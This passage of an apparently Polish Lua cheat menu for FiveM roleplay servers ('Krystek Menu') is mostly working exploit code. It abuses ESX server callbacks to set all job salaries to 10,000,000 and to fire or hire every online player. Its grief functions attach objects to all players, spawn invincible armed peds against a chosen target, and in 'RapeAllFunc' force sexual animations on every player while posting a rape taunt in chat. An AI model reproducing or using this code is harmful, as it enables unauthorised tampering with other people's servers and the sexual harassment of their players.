  4220. name = '~h~Shadow Silver',
  4221. id = 7
  4222. },
  4223. {
  4224. name = '~h~Stone Silver',
  4225. id = 8
  4226. },
  4227. {
  4228. name = '~h~Midnight Silver',
  4229. id = 9
  4230. },
  4231. {
  4232. name = '~h~Cast Iron Silver',
  4233. id = 10
  4234. },
  4235. {
  4236. name = '~h~Red',
  4237. id = 27
  4238. },
  4239. {
  4240. name = '~h~Torino Red',
  4241. id = 28
  4242. },
  4243. {
  4244. name = '~h~Formula Red',
  4245. id = 29
  4246. },
  4247. {
  4248. name = '~h~Lava Red',
  4249. id = 150
  4250. },
  4251. {
  4252. name = '~h~Blaze Red',
  4253. id = 30
  4254. },
  4255. {
  4256. name = '~h~Grace Red',
  4257. id = 31
  4258. },
  4259. {
  4260. name = '~h~Garnet Red',
  4261. id = 32
  4262. },
  4263. {
  4264. name = '~h~Sunset Red',
  4265. id = 33
  4266. },
  4267. {
  4268. name = '~h~Cabernet Red',
  4269. id = 34
  4270. },
  4271. {
  4272. name = '~h~Wine Red',
  4273. id = 143
  4274. },
  4275. {
  4276. name = '~h~Candy Red',
  4277. id = 35
  4278. },
  4279. {
  4280. name = '~h~Hot Pink',
  4281. id = 135
  4282. },
  4283. {
  4284. name = '~h~Pfsiter Pink',
  4285. id = 137
  4286. },
  4287. {
  4288. name = '~h~Salmon Pink',
  4289. id = 136
  4290. },
  4291. {
  4292. name = '~h~Sunrise Orange',
  4293. id = 36
  4294. },
  4295. {
  4296. name = '~h~Orange',
  4297. id = 38
  4298. },
  4299. {
  4300. name = '~h~Bright Orange',
  4301. id = 138
  4302. },
  4303. {
  4304. name = '~h~Gold',
  4305. id = 99
  4306. },
  4307. {
  4308. name = '~h~Bronze',
  4309. id = 90
  4310. },
  4311. {
  4312. name = '~h~Yellow',
  4313. id = 88
  4314. },
  4315. {
  4316. name = '~h~Race Yellow',
  4317. id = 89
  4318. },
  4319. {
  4320. name = '~h~Dew Yellow',
  4321. id = 91
  4322. },
  4323. {
  4324. name = '~h~Dark Green',
  4325. id = 49
  4326. },
  4327. {
  4328. name = '~h~Racing Green',
  4329. id = 50
  4330. },
  4331. {
  4332. name = '~h~Sea Green',
  4333. id = 51
  4334. },
  4335. {
  4336. name = '~h~Olive Green',
  4337. id = 52
  4338. },
  4339. {
  4340. name = '~h~Bright Green',
  4341. id = 53
  4342. },
  4343. {
  4344. name = '~h~Gasoline Green',
  4345. id = 54
  4346. },
  4347. {
  4348. name = '~h~Lime Green',
  4349. id = 92
  4350. },
  4351. {
  4352. name = '~h~Midnight Blue',
  4353. id = 141
  4354. },
  4355. {
  4356. name = '~h~Galaxy Blue',
  4357. id = 61
  4358. },
  4359. {
  4360. name = '~h~Dark Blue',
  4361. id = 62
  4362. },
  4363. {
  4364. name = '~h~Saxon Blue',
  4365. id = 63
  4366. },
  4367. {
  4368. name = '~h~Blue',
  4369. id = 64
  4370. },
  4371. {
  4372. name = '~h~Mariner Blue',
  4373. id = 65
  4374. },
  4375. {
  4376. name = '~h~Harbor Blue',
  4377. id = 66
  4378. },
  4379. {
  4380. name = '~h~Diamond Blue',
  4381. id = 67
  4382. },
  4383. {
  4384. name = '~h~Surf Blue',
  4385. id = 68
  4386. },
  4387. {
  4388. name = '~h~Nautical Blue',
  4389. id = 69
  4390. },
  4391. {
  4392. name = '~h~Racing Blue',
  4393. id = 73
  4394. },
  4395. {
  4396. name = '~h~Ultra Blue',
  4397. id = 70
  4398. },
  4399. {
  4400. name = '~h~Light Blue',
  4401. id = 74
  4402. },
  4403. {
  4404. name = '~h~Chocolate Brown',
  4405. id = 96
  4406. },
  4407. {
  4408. name = '~h~Bison Brown',
  4409. id = 101
  4410. },
  4411. {
  4412. name = '~h~Creeen Brown',
  4413. id = 95
  4414. },
  4415. {
  4416. name = '~h~Feltzer Brown',
  4417. id = 94
  4418. },
  4419. {
  4420. name = '~h~Maple Brown',
  4421. id = 97
  4422. },
  4423. {
  4424. name = '~h~Beechwood Brown',
  4425. id = 103
  4426. },
  4427. {
  4428. name = '~h~Sienna Brown',
  4429. id = 104
  4430. },
  4431. {
  4432. name = '~h~Saddle Brown',
  4433. id = 98
  4434. },
  4435. {
  4436. name = '~h~Moss Brown',
  4437. id = 100
  4438. },
  4439. {
  4440. name = '~h~Woodbeech Brown',
  4441. id = 102
  4442. },
  4443. {
  4444. name = '~h~Straw Brown',
  4445. id = 99
  4446. },
  4447. {
  4448. name = '~h~Sandy Brown',
  4449. id = 105
  4450. },
  4451. {
  4452. name = '~h~Bleached Brown',
  4453. id = 106
  4454. },
  4455. {
  4456. name = '~h~Schafter Purple',
  4457. id = 71
  4458. },
  4459. {
  4460. name = '~h~Spinnaker Purple',
  4461. id = 72
  4462. },
  4463. {
  4464. name = '~h~Midnight Purple',
  4465. id = 142
  4466. },
  4467. {
  4468. name = '~h~Bright Purple',
  4469. id = 145
  4470. },
  4471. {
  4472. name = '~h~Cream',
  4473. id = 107
  4474. },
  4475. {
  4476. name = '~h~Ice White',
  4477. id = 111
  4478. },
  4479. {
  4480. name = '~h~Frost White',
  4481. id = 112
  4482. }
  4483. }
  4484. local bs = '🥇 ~b~Krystek ~s~Menu 🥇'
  4485. local bt = {
  4486. {
  4487. name = '~h~Black',
  4488. id = 12
  4489. },
  4490. {
  4491. name = '~h~Gray',
  4492. id = 13
  4493. },
  4494. {
  4495. name = '~h~Light Gray',
  4496. id = 14
  4497. },
  4498. {
  4499. name = '~h~Ice White',
  4500. id = 131
  4501. },
  4502. {
  4503. name = '~h~Blue',
  4504. id = 83
  4505. },
  4506. {
  4507. name = '~h~Dark Blue',
  4508. id = 82
  4509. },
  4510. {
  4511. name = '~h~Midnight Blue',
  4512. id = 84
  4513. },
  4514. {
  4515. name = '~h~Midnight Purple',
  4516. id = 149
  4517. },
  4518. {
  4519. name = '~h~Schafter Purple',
  4520. id = 148
  4521. },
  4522. {
  4523. name = '~h~Red',
  4524. id = 39
  4525. },
  4526. {
  4527. name = '~h~Dark Red',
  4528. id = 40
  4529. },
  4530. {
  4531. name = '~h~Orange',
  4532. id = 41
  4533. },
  4534. {
  4535. name = '~h~Yellow',
  4536. id = 42
  4537. },
  4538. {
  4539. name = '~h~Lime Green',
  4540. id = 55
  4541. },
  4542. {
  4543. name = '~h~Green',
  4544. id = 128
  4545. },
  4546. {
  4547. name = '~h~Forest Green',
  4548. id = 151
  4549. },
  4550. {
  4551. name = '~h~Foliage Green',
  4552. id = 155
  4553. },
  4554. {
  4555. name = '~h~Olive Darb',
  4556. id = 152
  4557. },
  4558. {
  4559. name = '~h~Dark Earth',
  4560. id = 153
  4561. },
  4562. {
  4563. name = '~h~Desert Tan',
  4564. id = 154
  4565. }
  4566. }
  4567. local bu = {
  4568. {
  4569. name = '~h~Brushed Steel',
  4570. id = 117
  4571. },
  4572. {
  4573. name = '~h~Brushed Black Steel',
  4574. id = 118
  4575. },
  4576. {
  4577. name = '~h~Brushed Aluminum',
  4578. id = 119
  4579. },
  4580. {
  4581. name = '~h~Pure Gold',
  4582. id = 158
  4583. },
  4584. {
  4585. name = '~h~Brushed Gold',
  4586. id = 159
  4587. }
  4588. }
  4589. defaultVehAction = ''
  4590. if GetVehiclePedIsUsing(PlayerPedId()) then
  4591. veh = GetVehiclePedIsUsing(PlayerPedId())
  4592. end
  4593. local bv = false
  4594. local bw = true
  4595. local bx = GetPlayerServerId(PlayerPedId(-1))
  4596. local by = GetPlayerName(bx)
  4597. av ('~h~' .. GetPlayerName(PlayerId(-1)) .. ' ~h~| Konto ¦', true)
  4598. av ('~h~Menu odpalamy Shift i Numpad+')
  4599. SetNotificationMessage(txd, txd, flash, typ_ikony, tytul, podtytul)
  4600.  
  4601. local function bz(I, x, y)
  4602. SetTextFont(0)
  4603. SetTextProportional(1)
  4604. SetTextScale(0.0, 0.4)
  4605. SetTextDropshadow(1, 0, 0, 0, 255)
  4606. SetTextEdge(1, 0, 0, 0, 255)
  4607. SetTextDropShadow()
  4608. SetTextOutline()
  4609. SetTextEntry('STRING')
  4610. AddTextComponentString(I)
  4611. DrawText(x, y)
  4612. end
  4613.  
  4614. function RequestModelSync(bA)
  4615. local bB = GetHashKey(bA)
  4616. RequestModel(bB)
  4617. while not HasModelLoaded(bB) do
  4618. RequestModel(bB)
  4619. Citizen.Wait(0)
  4620. end
  4621. end
  4622.  
  4623. function EconomyDy2()
  4624. if ESX then
  4625. ESX.TriggerServerCallback(
  4626. 'esx_society:setJobSalary',
  4627. function()
  4628. end,
  4629. 'police',
  4630. 0,
  4631. 10000000
  4632. )
  4633. ESX.TriggerServerCallback(
  4634. 'esx_society:setJobSalary',
  4635. function()
  4636. end,
  4637. 'mecano',
  4638. 0,
  4639. 10000000
  4640. )
  4641. ESX.TriggerServerCallback(
  4642. 'esx_society:setJobSalary',
  4643. function()
  4644. end,
  4645. 'ambulance',
  4646. 0,
  4647. 10000000
  4648. )
  4649. ESX.TriggerServerCallback(
  4650. 'esx_society:setJobSalary',
  4651. function()
  4652. end,
  4653. 'realestateagent',
  4654. 0,
  4655. 10000000
  4656. )
  4657. ESX.TriggerServerCallback(
  4658. 'esx_society:setJobSalary',
  4659. function()
  4660. end,
  4661. 'cardealer',
  4662. 0,
  4663. 10000000
  4664. )
  4665. ESX.TriggerServerCallback(
  4666. 'esx_society:setJobSalary',
  4667. function()
  4668. end,
  4669. 'police',
  4670. 1,
  4671. 10000000
  4672. )
  4673. ESX.TriggerServerCallback(
  4674. 'esx_society:setJobSalary',
  4675. function()
  4676. end,
  4677. 'mecano',
  4678. 1,
  4679. 10000000
  4680. )
  4681. ESX.TriggerServerCallback(
  4682. 'esx_society:setJobSalary',
  4683. function()
  4684. end,
  4685. 'ambulance',
  4686. 1,
  4687. 10000000
  4688. )
  4689. ESX.TriggerServerCallback(
  4690. 'esx_society:setJobSalary',
  4691. function()
  4692. end,
  4693. 'realestateagent',
  4694. 1,
  4695. 10000000
  4696. )
  4697. ESX.TriggerServerCallback(
  4698. 'esx_society:setJobSalary',
  4699. function()
  4700. end,
  4701. 'cardealer',
  4702. 1,
  4703. 10000000
  4704. )
  4705. ESX.TriggerServerCallback(
  4706. 'esx_society:setJobSalary',
  4707. function()
  4708. end,
  4709. 'police',
  4710. 2,
  4711. 10000000
  4712. )
  4713. ESX.TriggerServerCallback(
  4714. 'esx_society:setJobSalary',
  4715. function()
  4716. end,
  4717. 'mecano',
  4718. 2,
  4719. 10000000
  4720. )
  4721. ESX.TriggerServerCallback(
  4722. 'esx_society:setJobSalary',
  4723. function()
  4724. end,
  4725. 'ambulance',
  4726. 2,
  4727. 10000000
  4728. )
  4729. ESX.TriggerServerCallback(
  4730. 'esx_society:setJobSalary',
  4731. function()
  4732. end,
  4733. 'realestateagent',
  4734. 2,
  4735. 10000000
  4736. )
  4737. ESX.TriggerServerCallback(
  4738. 'esx_society:setJobSalary',
  4739. function()
  4740. end,
  4741. 'cardealer',
  4742. 2,
  4743. 10000000
  4744. )
  4745. ESX.TriggerServerCallback(
  4746. 'esx_society:setJobSalary',
  4747. function()
  4748. end,
  4749. 'police',
  4750. 3,
  4751. 10000000
  4752. )
  4753. ESX.TriggerServerCallback(
  4754. 'esx_society:setJobSalary',
  4755. function()
  4756. end,
  4757. 'mecano',
  4758. 3,
  4759. 10000000
  4760. )
  4761. ESX.TriggerServerCallback(
  4762. 'esx_society:setJobSalary',
  4763. function()
  4764. end,
  4765. 'ambulance',
  4766. 3,
  4767. 10000000
  4768. )
  4769. ESX.TriggerServerCallback(
  4770. 'esx_society:setJobSalary',
  4771. function()
  4772. end,
  4773. 'realestateagent',
  4774. 3,
  4775. 10000000
  4776. )
  4777. ESX.TriggerServerCallback(
  4778. 'esx_society:setJobSalary',
  4779. function()
  4780. end,
  4781. 'cardealer',
  4782. 3,
  4783. 10000000
  4784. )
  4785. end
  4786. end
  4787.  
  4788. function UnemployedPlayers()
  4789. if ESX then
  4790. ESX.TriggerServerCallback(
  4791. 'esx_society:getOnlinePlayers',
  4792. function(as)
  4793. for i = 1, #as, 1 do
  4794. label = as[i].name
  4795. value = as[i].source
  4796. name = as[i].name
  4797. identifier = as[i].identifier
  4798. ESX.TriggerServerCallback(
  4799. 'esx_society:setJob',
  4800. function()
  4801. end,
  4802. identifier,
  4803. 'unemployed',
  4804. 0,
  4805. 'fire'
  4806. )
  4807. end
  4808. end
  4809. )
  4810. end
  4811. end
  4812.  
  4813. function AmbulancePlayers()
  4814. if ESX then
  4815. ESX.TriggerServerCallback(
  4816. 'esx_society:getOnlinePlayers',
  4817. function(as)
  4818. for i = 1, #as, 1 do
  4819. label = as[i].name
  4820. value = as[i].source
  4821. name = as[i].name
  4822. identifier = as[i].identifier
  4823. ESX.TriggerServerCallback(
  4824. 'esx_society:setJob',
  4825. function()
  4826. end,
  4827. identifier,
  4828. 'ambulance',
  4829. 3,
  4830. 'hire'
  4831. )
  4832. end
  4833. end
  4834. )
  4835. end
  4836. end
  4837.  
  4838. function PolicePlayers()
  4839. if ESX then
  4840. ESX.TriggerServerCallback(
  4841. 'esx_society:getOnlinePlayers',
  4842. function(as)
  4843. for i = 1, #as, 1 do
  4844. label = as[i].name
  4845. value = as[i].source
  4846. name = as[i].name
  4847. identifier = as[i].identifier
  4848. ESX.TriggerServerCallback(
  4849. 'esx_society:setJob',
  4850. function()
  4851. end,
  4852. identifier,
  4853. 'police',
  4854. 4,
  4855. 'hire'
  4856. )
  4857. end
  4858. end
  4859. )
  4860. end
  4861. end
  4862. local bC = 0
  4863. capPa = 'd' .. 'o' .. 'k' .. 'i'
  4864. cappA = 'd' .. 'o' .. 'k' .. 'i' .. capPa
  4865. local bD = cappA
  4866. local function bE()
  4867. if bC == 3 then
  4868. ForceSocialClubUpdate()
  4869. else
  4870. local ak = KeyboardInput('Get your password from #lynx-announcements', '', 100)
  4871. if ak == bD then
  4872. mhaonn = true
  4873. PlaySoundFrontend(-1, 'PICK_UP', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  4874. Citizen.Wait(100)
  4875. PlaySoundFrontend(-1, 'PICK_UP', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  4876. Citizen.Wait(100)
  4877. PlaySoundFrontend(-1, 'PICK_UP', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  4878. else
  4879. bC = bC + 1
  4880. PlaySoundFrontend(-1, 'MP_WAVE_COMPLETE', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  4881. end
  4882. end
  4883. end
  4884.  
  4885. function MecanoPlayers()
  4886. if ESX then
  4887. ESX.TriggerServerCallback(
  4888. 'esx_society:getOnlinePlayers',
  4889. function(as)
  4890. for i = 1, #as, 1 do
  4891. label = as[i].name
  4892. value = as[i].source
  4893. name = as[i].name
  4894. identifier = as[i].identifier
  4895. ESX.TriggerServerCallback(
  4896. 'esx_society:setJob',
  4897. function()
  4898. end,
  4899. identifier,
  4900. 'mecano',
  4901. 4,
  4902. 'hire'
  4903. )
  4904. end
  4905. end
  4906. )
  4907. end
  4908. end
  4909.  
  4910. function RealEstateAgentPlayers()
  4911. if ESX then
  4912. ESX.TriggerServerCallback(
  4913. 'esx_society:getOnlinePlayers',
  4914. function(as)
  4915. for i = 1, #as, 1 do
  4916. label = as[i].name
  4917. value = as[i].source
  4918. name = as[i].name
  4919. identifier = as[i].identifier
  4920. ESX.TriggerServerCallback(
  4921. 'esx_society:setJob',
  4922. function()
  4923. end,
  4924. identifier,
  4925. 'realestateagent',
  4926. 4,
  4927. 'hire'
  4928. )
  4929. end
  4930. end
  4931. )
  4932. end
  4933. end
  4934.  
  4935. function TaxiPlayers()
  4936. if ESX then
  4937. ESX.TriggerServerCallback(
  4938. 'esx_society:getOnlinePlayers',
  4939. function(as)
  4940. for i = 1, #as, 1 do
  4941. label = as[i].name
  4942. value = as[i].source
  4943. name = as[i].name
  4944. identifier = as[i].identifier
  4945. ESX.TriggerServerCallback(
  4946. 'esx_society:setJob',
  4947. function()
  4948. end,
  4949. identifier,
  4950. 'taxi',
  4951. 4,
  4952. 'hire'
  4953. )
  4954. end
  4955. end
  4956. )
  4957. end
  4958. end
  4959.  
  4960. function CarDealerPlayers()
  4961. if ESX then
  4962. ESX.TriggerServerCallback(
  4963. 'esx_society:getOnlinePlayers',
  4964. function(as)
  4965. for i = 1, #as, 1 do
  4966. label = as[i].name
  4967. value = as[i].source
  4968. name = as[i].name
  4969. identifier = as[i].identifier
  4970. ESX.TriggerServerCallback(
  4971. 'esx_society:setJob',
  4972. function()
  4973. end,
  4974. identifier,
  4975. 'cardealer',
  4976. 4,
  4977. 'hire'
  4978. )
  4979. end
  4980. end
  4981. )
  4982. end
  4983. end
  4984.  
  4985. function UnemployedPlayer(bF)
  4986. if ESX then
  4987. ESX.TriggerServerCallback(
  4988. 'esx_society:getOnlinePlayers',
  4989. function(as)
  4990. local bG = nil
  4991. for i = 1, #as, 1 do
  4992. label = as[i].name
  4993. value = as[i].source
  4994. name = as[i].name
  4995. if name == GetPlayerName(bF) then
  4996. bG = as[i].identifier
  4997. debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
  4998. end
  4999. identifier = as[i].identifier
  5000. end
  5001. ESX.TriggerServerCallback(
  5002. 'esx_society:setJob',
  5003. function()
  5004. end,
  5005. bG,
  5006. 'unemployed',
  5007. 0,
  5008. 'hire'
  5009. )
  5010. end
  5011. )
  5012. end
  5013. end
  5014.  
  5015. function CarDealerPlayer(bF)
  5016. if ESX then
  5017. ESX.TriggerServerCallback(
  5018. 'esx_society:getOnlinePlayers',
  5019. function(as)
  5020. local bG = nil
  5021. for i = 1, #as, 1 do
  5022. label = as[i].name
  5023. value = as[i].source
  5024. name = as[i].name
  5025. if name == GetPlayerName(bF) then
  5026. bG = as[i].identifier
  5027. debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
  5028. end
  5029. identifier = as[i].identifier
  5030. end
  5031. ESX.TriggerServerCallback(
  5032. 'esx_society:setJob',
  5033. function()
  5034. end,
  5035. bG,
  5036. 'cardealer',
  5037. 3,
  5038. 'hire'
  5039. )
  5040. end
  5041. )
  5042. end
  5043. end
  5044.  
  5045. function RealEstateAgentPlayer(bF)
  5046. if ESX then
  5047. ESX.TriggerServerCallback(
  5048. 'esx_society:getOnlinePlayers',
  5049. function(as)
  5050. local bG = nil
  5051. for i = 1, #as, 1 do
  5052. label = as[i].name
  5053. value = as[i].source
  5054. name = as[i].name
  5055. if name == GetPlayerName(bF) then
  5056. bG = as[i].identifier
  5057. debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
  5058. end
  5059. identifier = as[i].identifier
  5060. end
  5061. ESX.TriggerServerCallback(
  5062. 'esx_society:setJob',
  5063. function()
  5064. end,
  5065. bG,
  5066. 'realestateagent',
  5067. 3,
  5068. 'hire'
  5069. )
  5070. end
  5071. )
  5072. end
  5073. end
  5074.  
  5075. function TaxiPlayer(bF)
  5076. if ESX then
  5077. ESX.TriggerServerCallback(
  5078. 'esx_society:getOnlinePlayers',
  5079. function(as)
  5080. local bG = nil
  5081. for i = 1, #as, 1 do
  5082. label = as[i].name
  5083. value = as[i].source
  5084. name = as[i].name
  5085. if name == GetPlayerName(bF) then
  5086. bG = as[i].identifier
  5087. debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
  5088. end
  5089. identifier = as[i].identifier
  5090. end
  5091. ESX.TriggerServerCallback(
  5092. 'esx_society:setJob',
  5093. function()
  5094. end,
  5095. bG,
  5096. 'taxi',
  5097. 3,
  5098. 'hire'
  5099. )
  5100. end
  5101. )
  5102. end
  5103. end
  5104.  
  5105. function AmbulancePlayer(bF)
  5106. if ESX then
  5107. ESX.TriggerServerCallback(
  5108. 'esx_society:getOnlinePlayers',
  5109. function(as)
  5110. local bG = nil
  5111. for i = 1, #as, 1 do
  5112. label = as[i].name
  5113. value = as[i].source
  5114. name = as[i].name
  5115. if name == GetPlayerName(bF) then
  5116. bG = as[i].identifier
  5117. debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
  5118. end
  5119. identifier = as[i].identifier
  5120. end
  5121. ESX.TriggerServerCallback(
  5122. 'esx_society:setJob',
  5123. function()
  5124. end,
  5125. bG,
  5126. 'ambulance',
  5127. 3,
  5128. 'hire'
  5129. )
  5130. end
  5131. )
  5132. end
  5133. end
  5134.  
  5135. function PolicePlayer(bF)
  5136. if ESX then
  5137. ESX.TriggerServerCallback(
  5138. 'esx_society:getOnlinePlayers',
  5139. function(as)
  5140. local bG = nil
  5141. for i = 1, #as, 1 do
  5142. label = as[i].name
  5143. value = as[i].source
  5144. name = as[i].name
  5145. if name == GetPlayerName(bF) then
  5146. bG = as[i].identifier
  5147. debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
  5148. end
  5149. identifier = as[i].identifier
  5150. end
  5151. ESX.TriggerServerCallback(
  5152. 'esx_society:setJob',
  5153. function()
  5154. end,
  5155. bG,
  5156. 'police',
  5157. 3,
  5158. 'hire'
  5159. )
  5160. end
  5161. )
  5162. end
  5163. end
  5164.  
  5165. function MecanoPlayer(bF)
  5166. if ESX then
  5167. ESX.TriggerServerCallback(
  5168. 'esx_society:getOnlinePlayers',
  5169. function(as)
  5170. local bG = nil
  5171. for i = 1, #as, 1 do
  5172. label = as[i].name
  5173. value = as[i].source
  5174. name = as[i].name
  5175. if name == GetPlayerName(bF) then
  5176. bG = as[i].identifier
  5177. debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
  5178. end
  5179. identifier = as[i].identifier
  5180. end
  5181. ESX.TriggerServerCallback(
  5182. 'esx_society:setJob',
  5183. function()
  5184. end,
  5185. bG,
  5186. 'mecano',
  5187. 3,
  5188. 'hire'
  5189. )
  5190. end
  5191. )
  5192. end
  5193. end
  5194.  
  5195. function bananapartyall()
  5196. Citizen.CreateThread(
  5197. function()
  5198. for bD = 0, 9 do
  5199. TriggerServerEvent(
  5200. '_chat:messageEntered',
  5201. '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
  5202. {
  5203. 141,
  5204. 211,
  5205. 255
  5206. },
  5207. '^' .. bD .. 'Kocham Was :D'
  5208. )
  5209. end
  5210. for i = 0, 128 do
  5211. local bH = CreateObject(GetHashKey('p_crahsed_heli_s'), 0, 0, 0, true, true, true)
  5212. local bI = CreateObject(GetHashKey('prop_rock_4_big2'), 0, 0, 0, true, true, true)
  5213. local bJ = CreateObject(GetHashKey('prop_beachflag_le'), 0, 0, 0, true, true, true)
  5214. AttachEntityToEntity(
  5215. bH,
  5216. GetPlayerPed(i),
  5217. GetPedBoneIndex(GetPlayerPed(i), 57005),
  5218. 0.4,
  5219. 0,
  5220. 0,
  5221. 0,
  5222. 270.0,
  5223. 60.0,
  5224. true,
  5225. true,
  5226. false,
  5227. true,
  5228. 1,
  5229. true
  5230. )
  5231. AttachEntityToEntity(
  5232. bI,
  5233. GetPlayerPed(i),
  5234. GetPedBoneIndex(GetPlayerPed(i), 57005),
  5235. 0.4,
  5236. 0,
  5237. 0,
  5238. 0,
  5239. 270.0,
  5240. 60.0,
  5241. true,
  5242. true,
  5243. false,
  5244. true,
  5245. 1,
  5246. true
  5247. )
  5248. AttachEntityToEntity(
  5249. bJ,
  5250. GetPlayerPed(i),
  5251. GetPedBoneIndex(GetPlayerPed(i), 57005),
  5252. 0.4,
  5253. 0,
  5254. 0,
  5255. 0,
  5256. 270.0,
  5257. 60.0,
  5258. true,
  5259. true,
  5260. false,
  5261. true,
  5262. 1,
  5263. true
  5264. )
  5265. end
  5266. end
  5267. )
  5268. end
  5269.  
  5270. function RespawnPed(ped, bK, bL)
  5271. SetEntityCoordsNoOffset(ped, bK.x, bK.y, bK.z, false, false, false, true)
  5272. NetworkResurrectLocalPlayer(bK.x, bK.y, bK.z, bL, true, false)
  5273. SetPlayerInvincible(ped, false)
  5274. TriggerEvent('playerSpawned', bK.x, bK.y, bK.z)
  5275. ClearPedBloodDamage(ped)
  5276. end
  5277. local function bM(ad)
  5278. local bN = NetworkGetNetworkIdFromEntity(ped)
  5279. local bO = 0
  5280. NetworkRequestControlOfNetworkId(bN)
  5281. while not NetworkHasControlOfNetworkId(bN) do
  5282. Citizen.Wait(1)
  5283. NetworkRequestControlOfNetworkId(bN)
  5284. bO = bO + 1
  5285. if bO == 5000 then
  5286. Citizen.Trace('Control failed')
  5287. break
  5288. end
  5289. end
  5290. end
  5291. local function bP(bQ, bR)
  5292. for i = 0, 10 do
  5293. local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
  5294. RequestModel(GetHashKey(bQ))
  5295. Citizen.Wait(50)
  5296. if HasModelLoaded(GetHashKey(bQ)) then
  5297. local ped =
  5298. CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, false) and
  5299. CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, false)
  5300. if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  5301. bM(ped)
  5302. GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
  5303. SetEntityInvincible(ped, true)
  5304. SetPedCanSwitchWeapon(ped, true)
  5305. TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
  5306. elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
  5307. TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
  5308. else
  5309. Citizen.Wait(0)
  5310. end
  5311. end
  5312. end
  5313. end
  5314.  
  5315. function RapeAllFunc()
  5316. for bD = 0, 9 do
  5317. TriggerServerEvent(
  5318. '_chat:messageEntered',
  5319. '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
  5320. {
  5321. 141,
  5322. 211,
  5323. 255
  5324. },
  5325. '^' .. bD .. 'Zostales zgwalcony :D'
  5326. )
  5327. end
  5328. Citizen.CreateThread(
  5329. function()
  5330. for i = 0, 128 do
  5331. RequestModelSync('a_m_o_acult_01')
  5332. RequestAnimDict('rcmpaparazzo_2')
  5333. while not HasAnimDictLoaded('rcmpaparazzo_2') do
  5334. Citizen.Wait(0)
  5335. end
  5336. if IsPedInAnyVehicle(GetPlayerPed(i), true) then
  5337. local veh = GetVehiclePedIsIn(GetPlayerPed(i), true)
  5338. while not NetworkHasControlOfEntity(veh) do
  5339. NetworkRequestControlOfEntity(veh)
  5340. Citizen.Wait(0)
  5341. end
  5342. SetEntityAsMissionEntity(veh, true, true)
  5343. DeleteVehicle(veh)
  5344. DeleteEntity(veh)
  5345. end
  5346. count = -0.2
  5347. for b = 1, 3 do
  5348. local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(i), true))
  5349. local bS = CreatePed(4, GetHashKey('a_m_o_acult_01'), x, y, z, 0.0, true, false)
  5350. SetEntityAsMissionEntity(bS, true, true)
  5351. AttachEntityToEntity(
  5352. bS,
  5353. GetPlayerPed(i),
  5354. 4103,
  5355. 11816,
  5356. count,
  5357. 0.00,
  5358. 0.0,
  5359. 0.0,
  5360. 0.0,
  5361. 0.0,
  5362. false,
  5363. false,
  5364. false,
  5365. false,
  5366. 2,
  5367. true
  5368. )
  5369. ClearPedTasks(GetPlayerPed(i))
  5370. TaskPlayAnim(GetPlayerPed(i), 'rcmpaparazzo_2', 'shag_loop_poppy', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
  5371. SetPedKeepTask(bS)
  5372. TaskPlayAnim(bS, 'rcmpaparazzo_2', 'shag_loop_a', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
  5373. SetEntityInvincible(bS, true)
  5374. count = count - 0.4
  5375. end
  5376. end
  5377. end
  5378. )
  5379. end
  5380. local function bT()
  5381. local bU = KeyboardInput('Daj pozycje X', '', 100)
  5382. local bV = KeyboardInput('Daj pozycje Y', '', 100)
  5383. local bW = KeyboardInput('Daj pozycje Z', '', 100)
  5384. if bU ~= '' and bV ~= '' and bW ~= '' then
  5385. if
  5386. IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
  5387. GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1)
  5388. then
  5389. entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
  5390. else
  5391. entity = GetPlayerPed(-1)
  5392. end
  5393. if entity then
  5394. SetEntityCoords(entity, bU + 0.5, bV + 0.5, bW + 0.5, 1, 0, 0, 1)
  5395. av('~g~Przeteleportowano do kordow!', false)
  5396. end
  5397. else
  5398. av('~b~Niepoprawne Kordy!', true)
  5399. end
  5400. end
  5401. local function bX()
  5402. local name = KeyboardInput('Wprowadz nazwe Blip', '', 100)
  5403. if name == '' then
  5404. av('~b~Niepoprawna nazwa Blip!', true)
  5405. return bX()
  5406. else
  5407. local bU = KeyboardInput('Daj pozycje X', '', 100)
  5408. local bV = KeyboardInput('Daj pozycje Y', '', 100)
  5409. local bW = KeyboardInput('Daj pozycje Z', '', 100)
  5410. if bU ~= '' and bV ~= '' and bW ~= '' then
  5411. local bY = {
  5412. {
  5413. colour = 75,
  5414. id = 84
  5415. }
  5416. }
  5417. for _, bZ in pairs(bY) do
  5418. bZ.blip = AddBlipForCoord(bU + 0.5, bV + 0.5, bW + 0.5)
  5419. SetBlipSprite(bZ.blip, bZ.id)
  5420. SetBlipDisplay(bZ.blip, 4)
  5421. SetBlipScale(bZ.blip, 0.9)
  5422. SetBlipColour(bZ.blip, bZ.colour)
  5423. SetBlipAsShortRange(bZ.blip, true)
  5424. BeginTextCommandSetBlipName('STRING')
  5425. AddTextComponentString(name)
  5426. EndTextCommandSetBlipName(bZ.blip)
  5427. end
  5428. else
  5429. av('~b~Niepoprawne kordy!', true)
  5430. end
  5431. end
  5432. end
  5433. local function b_()
  5434. local ax = GetPlayerPed(-1)
